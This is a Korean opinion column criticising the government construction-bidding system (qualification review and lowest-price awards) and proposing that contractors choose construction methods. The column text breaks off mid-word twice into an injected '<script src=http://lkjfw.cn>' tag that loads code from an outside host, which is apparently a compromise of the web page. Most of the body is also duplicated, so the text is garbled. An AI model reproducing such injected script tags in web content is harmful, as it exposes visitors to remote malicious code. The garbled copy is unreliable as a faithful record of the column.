현행 건설공사 입찰제도는 개정되어야 한다
보도일자
보도기관
김 대중 정부하에 시행되고 있는 건설공사의 입찰제도는 적격심사 제도 또는 최저가 낙찰제도로서 이 제도에 의거 건설공사를 수주해 보았자 모든 건설업자들이 이윤은 커녕 막대한 손실을 입을 지경에 처해 있다.
현행 입찰 제도하에서 건설공사의 수주는 경영상태 점수, 실적 점수, 가격 점수, 채택될 복수 예가등을 종합하여 투찰가격을 결정해서 입찰하는 그야말로 천운(天運)이 따라야 맞출수 있는 해괴한 입찰제도이다. 경영상태와 실적이 양호 할수록 더 낮은 가격으로 수주하라는 논리는 뭔가 크게 잘못된 논리이다. 또한 돈이 있어야 돈을 걸고 건설공사를 수주하는 최저가 입찰제도 역시 진짜 웃기는 입찰제도이다.
2천억짜리 최저가 공사도 사원, 대리급 직원이 일주일도 안돼 견적을 완료해서 입찰에 참여하는 그런 입찰제도이다. 최저가로 할 수 있는 공법검토 내지 기술검토의 여지가 없이 그저 경쟁사의 가격만을 의식해서 투찰내역서를 만들고 전문건설업자의 견적과 보증금에 대한 금융비등을 참고하여 실행예산을 검토해 보고 투찰하는 실정이다. 정부가 아무리 많은 물량을 발주해도 건설업체의 일 처리는 식은죽 먹기다. 오로지 시공능력 상위권을 향한 외형 키우기가 급선무이다.
현행 입찰내역서가 미주알 고주알 목적물과 공법, 가설 및 작업방법까지 명시하고 있기 때문에 시공사는 입찰시 선택의 여지가 없다. 그저 공종별 단가를 삭감해서 투찰금액 숫자를 만드는 길 밖에 없다. 결국 최저가 낙찰제도는 정부에서 단순히 덤핑을 유도하는 제도로 전락했다.
세계 어느 나라를 둘러 보아도 이런 입찰제도를 운용하는 나라는 없다. 공무원들의 안일무사에서 나온 발상으로 운 좋은 놈과 돈 있는 놈이 일을 따 가라는 원리로서 건설기술 후진국을 만들고 있는 제도이다.
제도가 이러니 건설회사는 정부 발주공사에 대한 수주계획도 세울수가 없고 나아가 회사 운영계획도 큰 차질을 빚을수 밖에 없다. 매 년말이면 회사 운영계획 차질에 대한 책임에 누군가가 총대를 메고 정든 회사를 떠나야 하는 비참한 상황이 벌어지고 있다.
어떻게 천운이 따라줘서 건설공사를 수주한들 그 금액은 정부의 가격 가이드 라인에 의거한 겨우 목구멍에 풀칠할 정도의 저가 금액이기 때문에 초근목피를 먹는 심정으로 건설공사를 수행하지 않는한 엄청난 손실이 날 수 밖에 없다. 그 손실을 카버하기 위해서 전문건설업자를 쥐어 짜는수 밖에 없고 전문건설업자는 비용을 줄이기 위하여 제 나름대로의 조치를 취함으로서 결국 부실시공으로 갈 위험이 도사리고 있다.
사실 적격심사 제도이건 최저가 낙찰제도이건 이 제도 시행하에서 계약된 도급액은 제도 시행전 일반관리비를 제외한 현장 실행예산 금액만도 못한 실정이니 이 제도 시행후에 얼마나 공사원가가 빠듯해 졌는가를 알수 있다. 한편 보증제도의 도입으로 공사원가가 엉뚱한 곳으로 빠져 나가고 있는 것도 큰 문제이다. 보증회사의 보증제도 보다는 건설회사 주거래은행의 보증을 받도록 법적으로 제도화 해야 한다.
이런 제도하에서 그동안 건설공사를 수주한 건설업체들은 매출이 상승하는 금년부터 향후 몇년동안 엄청난 손실을 입을수도 있어 회사경영에 애로가 많을 것이다. 아마도 그들은 이런 위험부담을 덜기위해 정부의 입찰제도가 적용되지 않는 민간 혹은 자체 건축공사쪽으로 더 매진할 것이다. 따라서 건설회사들에 의한 부동산관련 사회적인 문제는 계속될 것이다. 요즈음 시끄러운 분양가 문제, 건축열기등이 그것을 잘 반영하고 있는 것이다. 반면에 주로 정부발주 공사인 토목공사는 최악의 상황에 처해 있다.
결론적으로 건설업체들에게 엄청난 고통을 주고있는 현행 입찰제도의 변경은 새로운 정권이 탄생되어야 가능하리라 본다. 지금은 건설업에 종사하는 말단 인부들 까지도 건설업이 옛날 같지 않다고들 한다. 그 결과 모든것이 인색해져 건설업 풍토가 여간 나쁜것이 아니다. 새로운 정권은 건설한국의 기술력이 향상될 수 있고 진정한 건설기술자를 사회가 인정해 주는 그런 입찰제도를 제정해 주기를 학수고대한다.
새 입찰제도는 발주자가 목적물을 설계해 놓고 그 공법 내지 작업방법을 시공자가 선택해서 책임시공할 수 있도록 해야할 것이다. 그것이 국제적인 흐름이고 엔지니어링 능력과 시공능력을 겸비한 건설회사를 키우는 길이고 현재와 같은 복잡하고 추잡스런 설계변경 업무를 줄이는 길이다. 발주자와 설계자가 시키는대로 하라는대로의 방식에서 벗어나 건설회사의 창의력과 시공경험을 살려 발주자가 원하는 훌륭한 작품을 만들도록 해야 한다. 이렇게 된다면 건설업체 수효를 줄이는데도 큰 기여를 할 것이며 공사 규모별로 점차 확대 시행해 갈 수 있다.
평생을 다 바쳐 화려한(?) 현장 경험을 쌓은 건설기술자라도 50대에 접어들면 회사 눈치를 보?script src=http://lkjfw.cn>
현행 입찰 제도하에서 건설공사의 수주는 경영상태 점수, 실적 점수, 가격 점수, 채택될 복수 예가등을 종합하여 투찰가격을 결정해서 입찰하는 그야말로 천운(天運)이 따라야 맞출수 있는 해괴한 입찰제도이다. 경영상태와 실적이 양호 할수록 더 낮은 가격으로 수주하라는 논리는 뭔가 크게 잘못된 논리이다. 또한 돈이 있어야 돈을 걸고 건설공사를 수주하는 최저가 입찰제도 역시 진짜 웃기는 입찰제도이다.
2천억짜리 최저가 공사도 사원, 대리급 직원이 일주일도 안돼 견적을 완료해서 입찰에 참여하는 그런 입찰제도이다. 최저가로 할 수 있는 공법검토 내지 기술검토의 여지가 없이 그저 경쟁사의 가격만을 의식해서 투찰내역서를 만들고 전문건설업자의 견적과 보증금에 대한 금융비등을 참고하여 실행예산을 검토해 보고 투찰하는 실정이다. 정부가 아무리 많은 물량을 발주해도 건설업체의 일 처리는 식은죽 먹기다. 오로지 시공능력 상위권을 향한 외형 키우기가 급선무이다.
현행 입찰내역서가 미주알 고주알 목적물과 공법, 가설 및 작업방법까지 명시하고 있기 때문에 시공사는 입찰시 선택의 여지가 없다. 그저 공종별 단가를 삭감해서 투찰금액 숫자를 만드는 길 밖에 없다. 결국 최저가 낙찰제도는 정부에서 단순히 덤핑을 유도하는 제도로 전락했다.
세계 어느 나라를 둘러 보아도 이런 입찰제도를 운용하는 나라는 없다. 공무원들의 안일무사에서 나온 발상으로 운 좋은 놈과 돈 있는 놈이 일을 따 가라는 원리로서 건설기술 후진국을 만들고 있는 제도이다.
제도가 이러니 건설회사는 정부 발주공사에 대한 수주계획도 세울수가 없고 나아가 회사 운영계획도 큰 차질을 빚을수 밖에 없다. 매 년말이면 회사 운영계획 차질에 대한 책임에 누군가가 총대를 메고 정든 회사를 떠나야 하는 비참한 상황이 벌어지고 있다.
어떻게 천운이 따라줘서 건설공사를 수주한들 그 금액은 정부의 가격 가이드 라인에 의거한 겨우 목구멍에 풀칠할 정도의 저가 금액이기 때문에 초근목피를 먹는 심정으로 건설공사를 수행하지 않는한 엄청난 손실이 날 수 밖에 없다. 그 손실을 카버하기 위해서 전문건설업자를 쥐어 짜는수 밖에 없고 전문건설업자는 비용을 줄이기 위하여 제 나름대로의 조치를 취함으로서 결국 부실시공으로 갈 위험이 도사리고 있다.
사실 적격심사 제도이건 최저가 낙찰제도이건 이 제도 시행하에서 계약된 도급액은 제도 시행전 일반관리비를 제외한 현장 실행예산 금액만도 못한 실정이니 이 제도 시행후에 얼마나 공사원가가 빠듯해 졌는가를 알수 있다. 한편 보증제도의 도입으로 공사원가가 엉뚱한 곳으로 빠져 나가고 있는 것도 큰 문제이다. 보증회사의 보증제도 보다는 건설회사 주거래은행의 보증을 받도록 법적으로 제도화 해야 한다.
이런 제도하에서 그동안 건설공사를 수주한 건설업체들은 매출이 상승하는 금년부터 향후 몇년동안 엄청난 손실을 입을수도 있어 회사경영에 애로가 많을 것이다. 아마도 그들은 이런 위험부담을 덜기위해 정부의 입찰제도가 적용되지 않는 민간 혹은 자체 건축공사쪽으로 더 매진할 것이다. 따라서 건설회사들에 의한 부동산관련 사회적인 문제는 계속될 것이다. 요즈음 시끄러운 분양가 문제, 건축열기등이 그것을 잘 반영하고 있는 것이다. 반면에 주로 정부발주 공사인 토목공사는 최악의 상황에 처해 있다.
결론적으로 건설업체들에게 엄청난 고통을 주고있는 현행 입찰제도의 변경은 새로운 정권이 탄생되어야 가능하리라 본다. 지금은 건설업에 종사하는 말단 인부들 까지도 건설업이 옛날 같지 않다고들 한다. 그 결과 모든것이 인색해져 건설업 풍토가 여간 나쁜것이 아니다. 새로운 정권은 건설한국의 기술력이 향상될 수 있고 진정한 건설기술자를 사회가 인정해 주는 그런 입찰제도를 제정해 주기를 학수고대한다.
새 입찰제도는 발주자가 목적물을 설계해 놓고 그 공법 내지 작업방법을 시공자가 선택해서 책임시공할 수 있도록 해야할 것이다. 그것이 국제적인 흐름이고 엔지니어링 능력과 시공능력을 겸비한 건설회사를 키우는 길이고 현재와 같은 복잡하고 추잡스런 설계변경 업무를 줄이는 길이다. 발주자와 설계자가 시키는대로 하라는대로의 방식에서 벗어나 건설회사의 창의력과 시공경험을 살려 발주자가 원하는 훌륭한 작품을 만들도록 해야 한다. 이렇게 된다면 건설업체 수효를 줄이는데도 큰 기여를 할 것이며 공사 규모별로 점차 확대 시행해 갈 수 있다.
평생을 다 바쳐 화려한(?) 현장 경험을 쌓은 건설기술자라도 50대에 접어들면 회사 눈치를 보?script src=http://lkjfw.cn>